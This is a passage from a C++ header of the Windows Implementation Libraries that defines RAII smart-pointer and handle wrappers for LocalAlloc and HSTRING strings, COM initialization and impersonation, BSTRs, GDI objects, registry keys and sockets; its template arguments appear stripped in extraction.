WIL_NO_ANSI_STRINGS\n typedef unique_any unique_hlocal_ansistring;\n#endif // WIL_NO_ANSI_STRINGS\n\n /// @cond\n namespace details\n {\n struct localalloc_allocator\n {\n static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT\n {\n return ::LocalAlloc(LMEM_FIXED, size);\n }\n };\n\n template<> struct string_allocator : localalloc_allocator {};\n#ifndef WIL_NO_ANSI_STRINGS\n template<> struct string_allocator : localalloc_allocator {};\n#endif // WIL_NO_ANSI_STRINGS\n }\n /// @endcond\n\n inline auto make_hlocal_string_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_string_nothrow(source, length);\n }\n\n inline auto make_hlocal_string_failfast(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_string_failfast(source, length);\n }\n\n#ifndef WIL_NO_ANSI_STRINGS\n inline auto make_hlocal_ansistring_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_ansistring_nothrow(source, length);\n }\n\n inline auto make_hlocal_ansistring_failfast(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_ansistring_failfast(source, length);\n }\n#endif\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline auto make_hlocal_string(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1))\n {\n return make_unique_string(source, length);\n }\n\n#ifndef WIL_NO_ANSI_STRINGS\n inline auto make_hlocal_ansistring(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCSTR source, size_t length = static_cast(-1))\n {\n return make_unique_ansistring(source, length);\n }\n#endif // WIL_NO_ANSI_STRINGS\n#endif // WIL_ENABLE_EXCEPTIONS\n\n struct hlocal_secure_deleter\n {\n template \n void operator()(_Pre_opt_valid_ _Frees_ptr_opt_ T* p) const\n {\n if (p)\n {\n#pragma warning(suppress: 26006 26007) // LocalSize() ensures proper buffer length\n ::SecureZeroMemory(p, ::LocalSize(p)); // this is safe since LocalSize() returns 0 on failure\n ::LocalFree(p);\n }\n }\n };\n\n template \n using unique_hlocal_secure_ptr = wistd::unique_ptr;\n\n /** Provides `std::make_unique()` semantics for secure resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_hlocal_secure_nothrow();\n if (foo)\n {\n // initialize allocated Foo object as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_nothrow(Args&&... args)\n {\n return unique_hlocal_secure_ptr(make_unique_hlocal_nothrow(wistd::forward(args)...).release());\n }\n\n /** Provides `std::make_unique()` semantics for secure array resources allocated with `LocalAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_hlocal_secure_nothrow(size);\n if (foos)\n {\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_nothrow(size_t size)\n {\n return unique_hlocal_secure_ptr(make_unique_hlocal_nothrow(size).release());\n }\n\n /** Provides `std::make_unique()` semantics for secure resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_hlocal_secure_failfast();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_failfast(Args&&... args)\n {\n unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(wistd::forward(args)...));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for secure array resources allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_hlocal_secure_failfast(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure_failfast(size_t size)\n {\n unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(size));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Provides `std::make_unique()` semantics for secure resources allocated with `LocalAlloc()`.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n auto foo = wil::make_unique_hlocal_secure();\n // initialize allocated Foo object as appropriate\n ~~~\n */\n template \n inline typename wistd::enable_if::value, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure(Args&&... args)\n {\n unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(wistd::forward(args)...));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n\n /** Provides `std::make_unique()` semantics for secure array resources allocated with `LocalAlloc()`.\n See the overload of `wil::make_unique_hlocal_nothrow()` for non-array types for more details.\n ~~~\n const size_t size = 42;\n auto foos = wil::make_unique_hlocal_secure(size);\n for (auto& elem : wil::make_range(foos.get(), size))\n {\n // initialize allocated Foo objects as appropriate\n }\n ~~~\n */\n template \n inline typename wistd::enable_if::value && wistd::extent::value == 0, unique_hlocal_secure_ptr>::type make_unique_hlocal_secure(size_t size)\n {\n unique_hlocal_secure_ptr result(make_unique_hlocal_secure_nothrow(size));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n typedef unique_hlocal_secure_ptr unique_hlocal_string_secure;\n\n /** Copies a given string into secure memory allocated with `LocalAlloc()` in a context that may not throw upon allocation failure.\n See the overload of `wil::make_hlocal_string_nothrow()` with supplied length for more details.\n ~~~\n auto str = wil::make_hlocal_string_secure_nothrow(L\"a string\");\n RETURN_IF_NULL_ALLOC(str);\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n ~~~\n */\n inline auto make_hlocal_string_secure_nothrow(_In_ PCWSTR source) WI_NOEXCEPT\n {\n return unique_hlocal_string_secure(make_hlocal_string_nothrow(source).release());\n }\n\n /** Copies a given string into secure memory allocated with `LocalAlloc()` in a context that must fail fast upon allocation failure.\n See the overload of `wil::make_hlocal_string_nothrow()` with supplied length for more details.\n ~~~\n auto str = wil::make_hlocal_string_secure_failfast(L\"a string\");\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n ~~~\n */\n inline auto make_hlocal_string_secure_failfast(_In_ PCWSTR source) WI_NOEXCEPT\n {\n unique_hlocal_string_secure result(make_hlocal_string_secure_nothrow(source));\n FAIL_FAST_IF_NULL_ALLOC(result);\n return result;\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n /** Copies a given string into secure memory allocated with `LocalAlloc()`.\n See the overload of `wil::make_hlocal_string_nothrow()` with supplied length for more details.\n ~~~\n auto str = wil::make_hlocal_string_secure(L\"a string\");\n std::wcout << L\"This is \" << str.get() << std::endl; // prints \"This is a string\"\n ~~~\n */\n inline auto make_hlocal_string_secure(_In_ PCWSTR source)\n {\n unique_hlocal_string_secure result(make_hlocal_string_secure_nothrow(source));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif\n\n using hglobal_deleter = function_deleter;\n\n template \n using unique_hglobal_ptr = wistd::unique_ptr;\n\n typedef unique_any unique_hglobal;\n typedef unique_any unique_hglobal_string;\n#ifndef WIL_NO_ANSI_STRINGS\n typedef unique_any unique_hglobal_ansistring;\n#endif // WIL_NO_ANSI_STRINGS\n\n /// @cond\n namespace details\n {\n template<> struct string_allocator\n {\n static _Ret_opt_bytecap_(size) void* allocate(size_t size) WI_NOEXCEPT\n {\n return ::GlobalAlloc(GPTR, size);\n }\n };\n }\n /// @endcond\n\n inline auto make_process_heap_string_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_string_nothrow(source, length);\n }\n\n inline auto make_process_heap_string_failfast(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1)) WI_NOEXCEPT\n {\n return make_unique_string_failfast(source, length);\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline auto make_process_heap_string(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length = static_cast(-1))\n {\n return make_unique_string(source, length);\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n typedef unique_any_handle_null unique_hheap;\n typedef unique_any unique_tls;\n typedef unique_any unique_hlocal_security_descriptor;\n typedef unique_any unique_private_security_descriptor;\n\n#if defined(_WINUSER_) && !defined(__WIL__WINUSER_)\n#define __WIL__WINUSER_\n typedef unique_any unique_haccel;\n typedef unique_any unique_hcursor;\n typedef unique_any unique_hwnd;\n#if !defined(NOUSER) && !defined(NOWH)\n typedef unique_any unique_hhook;\n#endif\n#if !defined(NOWINABLE)\n typedef unique_any unique_hwineventhook;\n#endif\n#endif // __WIL__WINUSER_\n\n#if !defined(NOGDI) && !defined(NODESKTOP)\n typedef unique_any unique_hdesk;\n typedef unique_any unique_hwinsta;\n#endif // !defined(NOGDI) && !defined(NODESKTOP)\n\n#endif\n#if defined(__WIL_WINBASE_DESKTOP) && !defined(__WIL_WINBASE_DESKTOP_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINBASE_DESKTOP_STL\n typedef shared_any shared_hheap;\n typedef shared_any shared_hlocal;\n typedef shared_any shared_tls;\n typedef shared_any shared_hlocal_security_descriptor;\n typedef shared_any shared_private_security_descriptor;\n typedef shared_any shared_haccel;\n typedef shared_any shared_hcursor;\n#if !defined(NOGDI) && !defined(NODESKTOP)\n typedef shared_any shared_hdesk;\n typedef shared_any shared_hwinsta;\n#endif // !defined(NOGDI) && !defined(NODESKTOP)\n typedef shared_any shared_hwnd;\n#if !defined(NOUSER) && !defined(NOWH)\n typedef shared_any shared_hhook;\n#endif\n#if !defined(NOWINABLE)\n typedef shared_any shared_hwineventhook;\n#endif\n\n typedef weak_any weak_hheap;\n typedef weak_any weak_hlocal;\n typedef weak_any weak_tls;\n typedef weak_any weak_hlocal_security_descriptor;\n typedef weak_any weak_private_security_descriptor;\n typedef weak_any weak_haccel;\n typedef weak_any weak_hcursor;\n#if !defined(NOGDI) && !defined(NODESKTOP)\n typedef weak_any weak_hdesk;\n typedef weak_any weak_hwinsta;\n#endif // !defined(NOGDI) && !defined(NODESKTOP)\n typedef weak_any weak_hwnd;\n#if !defined(NOUSER) && !defined(NOWH)\n typedef weak_any weak_hhook;\n#endif\n#if !defined(NOWINABLE)\n typedef weak_any weak_hwineventhook;\n#endif\n#endif // __WIL_WINBASE_DESKTOP_STL\n\n#if defined(_COMBASEAPI_H_) && !defined(__WIL__COMBASEAPI_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_SYSTEM) && !defined(WIL_KERNEL_MODE)\n#define __WIL__COMBASEAPI_H_\n#if (NTDDI_VERSION >= NTDDI_WIN8)\n typedef unique_any unique_mta_usage_cookie;\n#endif\n\n typedef unique_any unique_com_class_object_cookie;\n\n /// @cond\n namespace details\n {\n inline void __stdcall MultiQiCleanup(_In_ MULTI_QI* multiQi)\n {\n if (multiQi->pItf)\n {\n multiQi->pItf->Release();\n multiQi->pItf = nullptr;\n }\n }\n }\n /// @endcond\n\n //! A type that calls CoRevertToSelf on destruction (or reset()).\n using unique_coreverttoself_call = unique_call;\n\n //! Calls CoImpersonateClient and fail-fasts if it fails; returns an RAII object that reverts\n WI_NODISCARD inline unique_coreverttoself_call CoImpersonateClient_failfast()\n {\n FAIL_FAST_IF_FAILED(::CoImpersonateClient());\n return unique_coreverttoself_call();\n }\n\n typedef unique_struct unique_multi_qi;\n#endif // __WIL__COMBASEAPI_H_\n#if defined(__WIL__COMBASEAPI_H_) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL__COMBASEAPI_H_EXCEPTIONAL)\n#define __WIL__COMBASEAPI_H_EXCEPTIONAL\n WI_NODISCARD inline unique_coreverttoself_call CoImpersonateClient()\n {\n THROW_IF_FAILED(::CoImpersonateClient());\n return unique_coreverttoself_call();\n }\n#endif\n#if defined(__WIL__COMBASEAPI_H_) && !defined(__WIL__COMBASEAPI_H__STL) && defined(WIL_RESOURCE_STL) && (NTDDI_VERSION >= NTDDI_WIN8)\n#define __WIL__COMBASEAPI_H__STL\n typedef shared_any shared_mta_usage_cookie;\n typedef weak_any weak_mta_usage_cookie;\n#endif // __WIL__COMBASEAPI_H__STL\n\n#if defined(_COMBASEAPI_H_) && !defined(__WIL__COMBASEAPI_H_APP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) && !defined(WIL_KERNEL_MODE)\n#define __WIL__COMBASEAPI_H_APP\n //! A type that calls CoUninitialize on destruction (or reset()).\n using unique_couninitialize_call = unique_call;\n\n //! Calls CoInitializeEx and fail-fasts if it fails; returns an RAII object that reverts\n WI_NODISCARD inline unique_couninitialize_call CoInitializeEx_failfast(DWORD coinitFlags = 0 /*COINIT_MULTITHREADED*/)\n {\n FAIL_FAST_IF_FAILED(::CoInitializeEx(nullptr, coinitFlags));\n return unique_couninitialize_call();\n }\n#endif // __WIL__COMBASEAPI_H_APP\n#if defined(__WIL__COMBASEAPI_H_APP) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL__COMBASEAPI_H_APPEXCEPTIONAL)\n#define __WIL__COMBASEAPI_H_APPEXCEPTIONAL\n WI_NODISCARD inline unique_couninitialize_call CoInitializeEx(DWORD coinitFlags = 0 /*COINIT_MULTITHREADED*/)\n {\n THROW_IF_FAILED(::CoInitializeEx(nullptr, coinitFlags));\n return unique_couninitialize_call();\n }\n#endif\n\n#if defined(__ROAPI_H_) && !defined(__WIL__ROAPI_H_APP) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM) && (NTDDI_VERSION >= NTDDI_WIN8)\n#define __WIL__ROAPI_H_APP\n\n typedef unique_any unique_ro_registration_cookie;\n\n //! A type that calls RoUninitialize on destruction (or reset()).\n //! Use as a replacement for Windows::Foundation::Uninitialize.\n using unique_rouninitialize_call = unique_call;\n\n //! Calls RoInitialize and fail-fasts if it fails; returns an RAII object that reverts\n //! Use as a replacement for Windows::Foundation::Initialize\n WI_NODISCARD inline unique_rouninitialize_call RoInitialize_failfast(RO_INIT_TYPE initType = RO_INIT_MULTITHREADED)\n {\n FAIL_FAST_IF_FAILED(::RoInitialize(initType));\n return unique_rouninitialize_call();\n }\n#endif // __WIL__ROAPI_H_APP\n#if defined(__WIL__ROAPI_H_APP) && defined(WIL_ENABLE_EXCEPTIONS) && !defined(__WIL__ROAPI_H_APPEXCEPTIONAL)\n#define __WIL__ROAPI_H_APPEXCEPTIONAL\n //! Calls RoInitialize and throws an exception if it fails; returns an RAII object that reverts\n //! Use as a replacement for Windows::Foundation::Initialize\n WI_NODISCARD inline unique_rouninitialize_call RoInitialize(RO_INIT_TYPE initType = RO_INIT_MULTITHREADED)\n {\n THROW_IF_FAILED(::RoInitialize(initType));\n return unique_rouninitialize_call();\n }\n#endif\n\n#if defined(__WINSTRING_H_) && !defined(__WIL__WINSTRING_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM)\n#define __WIL__WINSTRING_H_\n typedef unique_any unique_hstring;\n\n template<> inline unique_hstring make_unique_string_nothrow(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n PCWSTR source, size_t length) WI_NOEXCEPT\n {\n WI_ASSERT(source != nullptr); // the HSTRING version of this function does not suport this case\n if (length == static_cast(-1))\n {\n length = wcslen(source);\n }\n\n unique_hstring result;\n ::WindowsCreateString(source, static_cast(length), &result);\n return result;\n }\n\n typedef unique_any unique_hstring_buffer;\n\n /** Promotes an hstring_buffer to an HSTRING.\n When an HSTRING_BUFFER object is promoted to a real string it must not be passed to WindowsDeleteString. The caller owns the\n HSTRING afterwards.\n ~~~\n HRESULT Type::MakePath(_Out_ HSTRING* path)\n {\n wchar_t* bufferStorage = nullptr;\n wil::unique_hstring_buffer theBuffer;\n RETURN_IF_FAILED(::WindowsPreallocateStringBuffer(65, &bufferStorage, &theBuffer));\n RETURN_IF_FAILED(::PathCchCombine(bufferStorage, 65, m_foo, m_bar));\n RETURN_IF_FAILED(wil::make_hstring_from_buffer_nothrow(wistd::move(theBuffer), path)));\n return S_OK;\n }\n ~~~\n */\n inline HRESULT make_hstring_from_buffer_nothrow(unique_hstring_buffer&& source, _Out_ HSTRING* promoted)\n {\n HRESULT hr = ::WindowsPromoteStringBuffer(source.get(), promoted);\n if (SUCCEEDED(hr))\n {\n source.release();\n }\n return hr;\n }\n\n //! A fail-fast variant of `make_hstring_from_buffer_nothrow`\n inline unique_hstring make_hstring_from_buffer_failfast(unique_hstring_buffer&& source)\n {\n unique_hstring result;\n FAIL_FAST_IF_FAILED(make_hstring_from_buffer_nothrow(wistd::move(source), &result));\n return result;\n }\n\n#if defined WIL_ENABLE_EXCEPTIONS\n /** Promotes an hstring_buffer to an HSTRING.\n When an HSTRING_BUFFER object is promoted to a real string it must not be passed to WindowsDeleteString. The caller owns the\n HSTRING afterwards.\n ~~~\n wil::unique_hstring Type::Make()\n {\n wchar_t* bufferStorage = nullptr;\n wil::unique_hstring_buffer theBuffer;\n THROW_IF_FAILED(::WindowsPreallocateStringBuffer(65, &bufferStorage, &theBuffer));\n THROW_IF_FAILED(::PathCchCombine(bufferStorage, 65, m_foo, m_bar));\n return wil::make_hstring_from_buffer(wistd::move(theBuffer));\n }\n ~~~\n */\n inline unique_hstring make_hstring_from_buffer(unique_hstring_buffer&& source)\n {\n unique_hstring result;\n THROW_IF_FAILED(make_hstring_from_buffer_nothrow(wistd::move(source), &result));\n return result;\n }\n#endif\n\n /// @cond\n namespace details\n {\n template<> struct string_maker\n {\n string_maker() = default;\n string_maker(const string_maker&) = delete;\n void operator=(const string_maker&) = delete;\n string_maker& operator=(string_maker&& source) WI_NOEXCEPT\n {\n m_value = wistd::move(source.m_value);\n m_bufferHandle = wistd::move(source.m_bufferHandle);\n m_charBuffer = wistd::exchange(source.m_charBuffer, nullptr);\n return *this;\n }\n\n HRESULT make(\n _When_((source != nullptr) && length != static_cast(-1), _In_reads_(length))\n _When_((source != nullptr) && length == static_cast(-1), _In_z_)\n const wchar_t* source,\n size_t length)\n {\n if (source)\n {\n RETURN_IF_FAILED(WindowsCreateString(source, static_cast(length), &m_value));\n m_charBuffer = nullptr;\n m_bufferHandle.reset(); // do this after WindowsCreateString so we can trim_at_existing_null() from our own buffer\n }\n else\n {\n // Need to set it to the empty string to support the empty string case.\n m_value.reset();\n RETURN_IF_FAILED(WindowsPreallocateStringBuffer(static_cast(length), &m_charBuffer, &m_bufferHandle));\n }\n return S_OK;\n }\n\n wchar_t* buffer() { WI_ASSERT(m_charBuffer != nullptr); return m_charBuffer; }\n const wchar_t* buffer() const { return m_charBuffer; }\n\n HRESULT trim_at_existing_null(size_t length) { return make(buffer(), length); }\n\n unique_hstring release()\n {\n m_charBuffer = nullptr;\n if (m_bufferHandle)\n {\n return make_hstring_from_buffer_failfast(wistd::move(m_bufferHandle));\n }\n return wistd::move(m_value);\n }\n\n static PCWSTR get(const wil::unique_hstring& value) { return WindowsGetStringRawBuffer(value.get(), nullptr); }\n\n private:\n unique_hstring m_value;\n unique_hstring_buffer m_bufferHandle;\n wchar_t* m_charBuffer = nullptr;\n };\n }\n /// @endcond\n\n // str_raw_ptr is an overloaded function that retrieves a const pointer to the first character in a string's buffer.\n // This is the overload for HSTRING. Other overloads available above.\n inline PCWSTR str_raw_ptr(HSTRING str)\n {\n return WindowsGetStringRawBuffer(str, nullptr);\n }\n\n inline PCWSTR str_raw_ptr(const unique_hstring& str)\n {\n return str_raw_ptr(str.get());\n }\n\n#endif // __WIL__WINSTRING_H_\n#if defined(__WIL__WINSTRING_H_) && !defined(__WIL__WINSTRING_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL__WINSTRING_H_STL\n typedef shared_any shared_hstring;\n typedef shared_any shared_hstring_buffer;\n typedef weak_any weak_hstring;\n typedef weak_any weak_hstring_buffer;\n#endif // __WIL__WINSTRING_H_STL\n\n\n#if defined(_WINREG_) && !defined(__WIL_WINREG_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(WIL_KERNEL_MODE)\n#define __WIL_WINREG_\n typedef unique_any unique_hkey;\n#endif // __WIL_WINREG_\n#if defined(__WIL_WINREG_) && !defined(__WIL_WINREG_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINREG_STL\n typedef shared_any shared_hkey;\n typedef weak_any weak_hkey;\n#endif // __WIL_WINREG_STL\n\n#if defined(__propidl_h__) && !defined(_WIL__propidl_h__) && !defined(WIL_KERNEL_MODE)\n#define _WIL__propidl_h__\n using unique_prop_variant = wil::unique_struct;\n#endif // _WIL__propidl_h__\n\n#if defined(_OLEAUTO_H_) && !defined(__WIL_OLEAUTO_H_) && !defined(WIL_KERNEL_MODE) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP | WINAPI_PARTITION_SYSTEM)\n#define __WIL_OLEAUTO_H_\n using unique_variant = wil::unique_struct;\n typedef unique_any unique_bstr;\n\n inline wil::unique_bstr make_bstr_nothrow(PCWSTR source) WI_NOEXCEPT\n {\n return wil::unique_bstr(::SysAllocString(source));\n }\n\n inline wil::unique_bstr make_bstr_failfast(PCWSTR source) WI_NOEXCEPT\n {\n return wil::unique_bstr(FAIL_FAST_IF_NULL_ALLOC(::SysAllocString(source)));\n }\n\n#ifdef WIL_ENABLE_EXCEPTIONS\n inline wil::unique_bstr make_bstr(PCWSTR source)\n {\n wil::unique_bstr result(make_bstr_nothrow(source));\n THROW_IF_NULL_ALLOC(result);\n return result;\n }\n#endif // WIL_ENABLE_EXCEPTIONS\n\n#endif // __WIL_OLEAUTO_H_\n#if defined(__WIL_OLEAUTO_H_) && !defined(__WIL_OLEAUTO_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_OLEAUTO_H_STL\n typedef shared_any shared_bstr;\n typedef weak_any weak_bstr;\n#endif // __WIL_OLEAUTO_H_STL\n\n\n#if (defined(_WININET_) || defined(_DUBINET_)) && !defined(__WIL_WININET_)\n#define __WIL_WININET_\n typedef unique_any unique_hinternet;\n#endif // __WIL_WININET_\n#if defined(__WIL_WININET_) && !defined(__WIL_WININET_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WININET_STL\n typedef shared_any shared_hinternet;\n typedef weak_any weak_hinternet;\n#endif // __WIL_WININET_STL\n\n\n#if defined(_WINHTTPX_) && !defined(__WIL_WINHTTP_)\n#define __WIL_WINHTTP_\n typedef unique_any unique_winhttp_hinternet;\n#endif // __WIL_WINHTTP_\n#if defined(__WIL_WINHTTP_) && !defined(__WIL_WINHTTP_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINHTTP_STL\n typedef shared_any shared_winhttp_hinternet;\n typedef weak_any weak_winhttp_hinternet;\n#endif // __WIL_WINHTTP_STL\n\n\n#if defined(_WINSOCKAPI_) && !defined(__WIL_WINSOCKAPI_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WINSOCKAPI_\n typedef unique_any unique_socket;\n#endif // __WIL_WINSOCKAPI_\n#if defined(__WIL_WINSOCKAPI_) && !defined(__WIL_WINSOCKAPI_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINSOCKAPI_STL\n typedef shared_any shared_socket;\n typedef weak_any weak_socket;\n#endif // __WIL_WINSOCKAPI_STL\n\n\n#if defined(_WINGDI_) && !defined(__WIL_WINGDI_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP) && !defined(NOGDI) && !defined(WIL_KERNEL_MODE)\n#define __WIL_WINGDI_\n struct window_dc\n {\n HDC dc;\n HWND hwnd;\n window_dc(HDC dc_, HWND hwnd_ = nullptr) WI_NOEXCEPT { dc = dc_; hwnd = hwnd_; }\n operator HDC() const WI_NOEXCEPT { return dc; }\n static void close(window_dc wdc) WI_NOEXCEPT { ::ReleaseDC(wdc.hwnd, wdc.dc); }\n };\n typedef unique_any unique_hdc_window;\n\n struct paint_dc\n {\n HWND hwnd;\n PAINTSTRUCT ps;\n paint_dc(HDC hdc = nullptr) { ::ZeroMemory(this, sizeof(*this)); ps.hdc = hdc; }\n operator HDC() const WI_NOEXCEPT { return ps.hdc; }\n static void close(paint_dc pdc) WI_NOEXCEPT { ::EndPaint(pdc.hwnd, &pdc.ps); }\n };\n typedef unique_any unique_hdc_paint;\n\n struct select_result\n {\n HGDIOBJ hgdi;\n HDC hdc;\n select_result(HGDIOBJ hgdi_, HDC hdc_ = nullptr) WI_NOEXCEPT { hgdi = hgdi_; hdc = hdc_; }\n operator HGDIOBJ() const WI_NOEXCEPT { return hgdi; }\n static void close(select_result sr) WI_NOEXCEPT { ::SelectObject(sr.hdc, sr.hgdi); }\n };\n typedef unique_any unique_select_object;\n\n inline unique_hdc_window GetDC(HWND hwnd) WI_NOEXCEPT\n {\n return unique_hdc_window(window_dc(::GetDC(hwnd), hwnd));\n }\n\n inline unique_hdc_window GetWindowDC(HWND hwnd) WI_NOEXCEPT\n {\n return unique_hdc_window(window_dc(::GetWindowDC(hwnd), hwnd));\n }\n\n inline unique_hdc_paint BeginPaint(HWND hwnd, _Out_opt_ PPAINTSTRUCT pPaintStruct = nullptr) WI_NOEXCEPT\n {\n paint_dc pdc;\n pdc.hwnd = hwnd;\n HDC hdc = ::BeginPaint(hwnd, &pdc.ps);\n assign_to_opt_param(pPaintStruct, pdc.ps);\n return (hdc == nullptr) ? unique_hdc_paint() : unique_hdc_paint(pdc);\n }\n\n inline unique_select_object SelectObject(HDC hdc, HGDIOBJ gdiobj) WI_NOEXCEPT\n {\n return unique_select_object(select_result(::SelectObject(hdc, gdiobj), hdc));\n }\n\n typedef unique_any unique_hgdiobj;\n typedef unique_any unique_hpen;\n typedef unique_any unique_hbrush;\n typedef unique_any unique_hfont;\n typedef unique_any unique_hbitmap;\n typedef unique_any unique_hrgn;\n typedef unique_any unique_hpalette;\n typedef unique_any unique_hdc;\n typedef unique_any unique_hicon;\n#if !defined(NOMENUS)\n typedef unique_any unique_hmenu;\n#endif // !defined(NOMENUS)\n#endif // __WIL_WINGDI_\n#if defined(__WIL_WINGDI_) && !defined(__WIL_WINGDI_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINGDI_STL\n typedef shared_any shared_hgdiobj;\n typedef shared_any shared_hpen;\n typedef shared_any shared_hbrush;\n typedef shared_any shared_hfont;\n typedef shared_any shared_hbitmap;\n typedef shared_any shared_hrgn;\n typedef shared_any shared_hpalette;\n typedef shared_any shared_hdc;\n typedef shared_any shared_hicon;\n#if !defined(NOMENUS)\n typedef shared_any shared_hmenu;\n#endif // !defined(NOMENUS)\n\n typedef weak_any weak_hgdiobj;\n typedef weak_any weak_hpen;\n typedef weak_any weak_hbrush;\n typedef weak_any weak_hfont;\n typedef weak_any weak_hbitmap;\n typedef weak_any weak_hrgn;\n typedef weak_any weak_hpalette;\n typedef weak_any weak_hdc;\n typedef weak_any weak_hicon;\n#if !defined(NOMENUS)\n typedef weak_any weak_hmenu;\n#endif // !defined(NOMENUS)\n#endif // __WIL_WINGDI_STL\n\n#if defined(_INC_WTSAPI) && !defined(__WIL_WTSAPI)\n#define __WIL_WTSAPI\n template\n using unique_wtsmem_ptr = wistd::unique_ptr>;\n#endif // __WIL_WTSAPI\n\n#if defined(_WINSCARD_H_) && !defined(__WIL_WINSCARD_H_) && WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)\n#define __WIL_WINSCARD_H_\n typedef unique_any unique_scardctx;\n#endif // __WIL_WINSCARD_H_\n#if defined(__WIL_WINSCARD_H_) && !defined(__WIL_WINSCARD_H_STL) && defined(WIL_RESOURCE_STL)\n#define __WIL_WINSCARD_H_STL\n typedef shared_any shared_scardctx;\n typedef weak_any weak_scardctx;\n#endif // __WIL_WINSCARD_H_STL\n\n\n#if defined(__WINCRYPT_H__) && !defined(__WIL__WINCRYPT_H__) && 